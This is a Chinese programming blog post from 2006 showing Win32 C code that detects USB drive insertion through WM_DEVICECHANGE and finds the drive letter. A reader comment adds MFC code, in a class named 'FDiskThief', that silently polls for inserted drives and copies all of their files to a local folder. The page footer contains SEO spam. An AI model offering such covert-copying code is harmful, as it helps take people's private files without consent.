程序人生

          撰寫生活代碼,等待編譯美好人生
          隨筆 - 48, 文章 - 0, 評論 - 29, 引用 - 0
          數據加載中……

          WINDOWS SDK 檢測U盤插入

          今天一位老兄要我幫忙做一個軟件,需要把在U盤插入USB接口激活之后自動把U盤里的內容拷貝到硬上。拷貝文件不難,麻煩的就是不知道怎么檢測U盤是否激活,激活后又是哪個盤符。
          google了一下,在MSDN上看了幾個例子,找到了檢測U盤插入,并確定其盤符的方法。

          下面給出窗口的回調函數:
          ?1?LRESULT?CALLBACK?WndProc?(HWND?hWnd,?UINT?message,?WPARAM?wParam,?LPARAM?lParam)
          ?2?
          ?3?{
          ?4?????
          ?5?????switch?(message)?
          ?6?????{
          ?7?????????
          ?8?????case?WM_CREATE:/*初始化*/
          ?9?????????
          10?????????MessageBox(hWnd,?"go!",?"405?Studio",?MB_OK);
          11?????????
          12?????????break;
          13?????????
          14?????case?WM_DEVICECHANGE:
          15?????????
          16?????????if(wParam?==?DBT_DEVICEARRIVAL)?//設備激活
          17?????????{
          18?????????????PDEV_BROADCAST_HDR?lpdb?=?(PDEV_BROADCAST_HDR)lParam;
          19?????????????
          20?????????????PDEV_BROADCAST_VOLUME?lpdbv?=?(PDEV_BROADCAST_VOLUME)lpdb;
          21?????????????
          22?????????????char?szMsg[80];
          23?????????????wsprintf?(szMsg,?"Drive?%c:?Media?has?arrived.\n",
          24?????????????????FirstDriveFromMask(lpdbv?->dbcv_unitmask));
          25?????????????
          26?????????????MessageBox?(hWnd,?szMsg,?"WM_DEVICECHANGE",?MB_OK);
          27?????????????
          28?????????}
          29?????????
          30?????????break;
          31?????????
          32?????default:
          33?????????return?DefWindowProc?(hWnd,?message,?wParam,?lParam)?;
          34?????}
          35?????
          36?????return?0;
          37?????
          38?}
          原理很簡單檢測U盤是否被插入是通過監聽WM_DEVICECHANGE消息來實現的。18,19行是從WM_DEVICECHANGE的lParam里獲取盤符。
          FirstDriveFromMask是一個用返回盤符(A,B,C ....)的簡單函數
          ?1?char?FirstDriveFromMask?(ULONG?unitmask)
          ?2?{
          ?3?????char?i;
          ?4?????
          ?5?????for?(i?=?0;?i?<?26;?++i)
          ?6?????{
          ?7?????????if?(unitmask?&?0x1)
          ?8?????????????break;
          ?9?????????unitmask?=?unitmask?>>?1;
          10?????}
          11?????
          12?????return?(i?+?'A');
          13?}

          posted on 2006-04-12 23:33 405 Studio 閱讀(2338) 評論(2)  編輯  收藏 所屬分類: Windows Programing

          評論

          # re: WINDOWS SDK 檢測U盤插入  回復  更多評論   

          請問這是怎么實現的,這種程序我也要用。謝謝
          我的QQ:651764799
          2006-10-08 17:05 | lsy

          # re: WINDOWS SDK 檢測U盤插入  回復  更多評論   

          //-------查找U盤-------------------------------
          CString CFDiskThiefDlg::FindFdisk()
          {
          CString strdir="";
          for(char cc='A';cc<='Z';cc++)
          {
          strdir.Format("%c:",cc);
          if(GetDriveType((LPCTSTR)strdir)==DRIVE_REMOVABLE)//移動盤
          return strdir;
          }
          return strdir="";
          }
          //--------復制文件-----------------------------
          void CFDiskThiefDlg::CopyFile(CString dir)
          {
          CFileFind tempFind;
          CString tempFileFind;
          tempFileFind.Format("%s\\*.*",dir);
          BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
          while(IsFinded)
          {
          IsFinded=(BOOL)tempFind.FindNextFile();
          if(!tempFind.IsDots())
          {
          CString foundFileName;
          foundFileName=tempFind.GetFileName();

          if(tempFind.IsDirectory())
          {
          CString tempDir;
          tempDir.Format("%s\\%s",dir,foundFileName);
          CopyFile(tempDir);
          }
          else
          {
          CString tempFileName1,tempFileName2;
          tempFileName1.Format("%s\\%s",dir,foundFileName);
          tempFileName2.Format("%s\\%s",m_Path,foundFileName);
          ::CopyFile(tempFileName1,tempFileName2,FALSE);
          }
          }
          }
          tempFind.Close();
          }

          void CFDiskThiefDlg::OnTimer(UINT nIDEvent)
          {
          // TODO: Add your message handler code here and/or call default
          if(IsRun)
          {
          m_NewFdisk=FindFdisk();

          if(m_NewFdisk!=m_OldFdisk&&m_NewFdisk!="")
          {
          CopyFile(m_NewFdisk);
          }
          if(m_NewFdisk!="")
          m_OldFdisk=m_NewFdisk;
          else
          m_OldFdisk="NULL";
          }

          CDialog::OnTimer(nIDEvent);
          }

          2008-01-03 10:56 | 師弟

          只有注冊用戶登錄后才能發表評論。


          網站導航:
           
          主站蜘蛛池模板: 西宁市| 绵阳市| 日照市| 沁源县| 永年县| 宁武县| 阜新| 大竹县| 延吉市| 余姚市| 铜梁县| 吉木乃县| 兴海县| 玉田县| 常宁市| 安多县| 临夏市| 松潘县| 宣汉县| 湖北省| 永胜县| 若羌县| 峨山| 科尔| 丰镇市| 平山县| 都兰县| 天气| 牟定县| 博罗县| 赤水市| 芜湖县| 扎囊县| 建阳市| 普洱| 南康市| 石屏县| 上犹县| 巴青县| 卓资县| 汝州市|